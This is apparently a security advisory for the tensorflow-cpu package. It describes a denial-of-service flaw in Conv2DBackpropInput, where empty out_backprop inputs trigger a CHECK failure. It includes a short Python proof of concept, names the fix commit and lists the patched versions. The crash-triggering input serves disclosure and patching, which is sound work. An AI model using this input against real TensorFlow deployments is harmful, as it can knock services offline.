PT-2026-59884 · Pypi · Tensorflow-Cpu
Published
2026-07-09
·
Updated
2026-07-09
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
When
Conv2DBackpropInput receives empty out backprop inputs (e.g. [3, 1, 0, 1]), the current CPU/GPU kernels CHECK fail (one with dnnl, the other with cudnn). This can be used to trigger a denial of service attack.python
import tensorflow as tf
import numpy as np
input sizes = [3, 1, 1, 2]
filter = np.ones([1, 3, 2, 3])
out backprop = np.ones([3, 1, 0, 3])
strides = [1, 1, 2, 1]
padding = 'VALID'
tf.raw ops.Conv2DBackpropInput(
input sizes = input sizes,
filter = filter,
out backprop = out backprop,
strides = strides,
padding = padding
)Patches
We have patched the issue in GitHub commit 27a65a43cf763897fecfa5cdb5cc653fc5dd0346.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by Jingyi Shi.
Fix
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Related Identifiers
Affected Products
Tensorflow-Cpu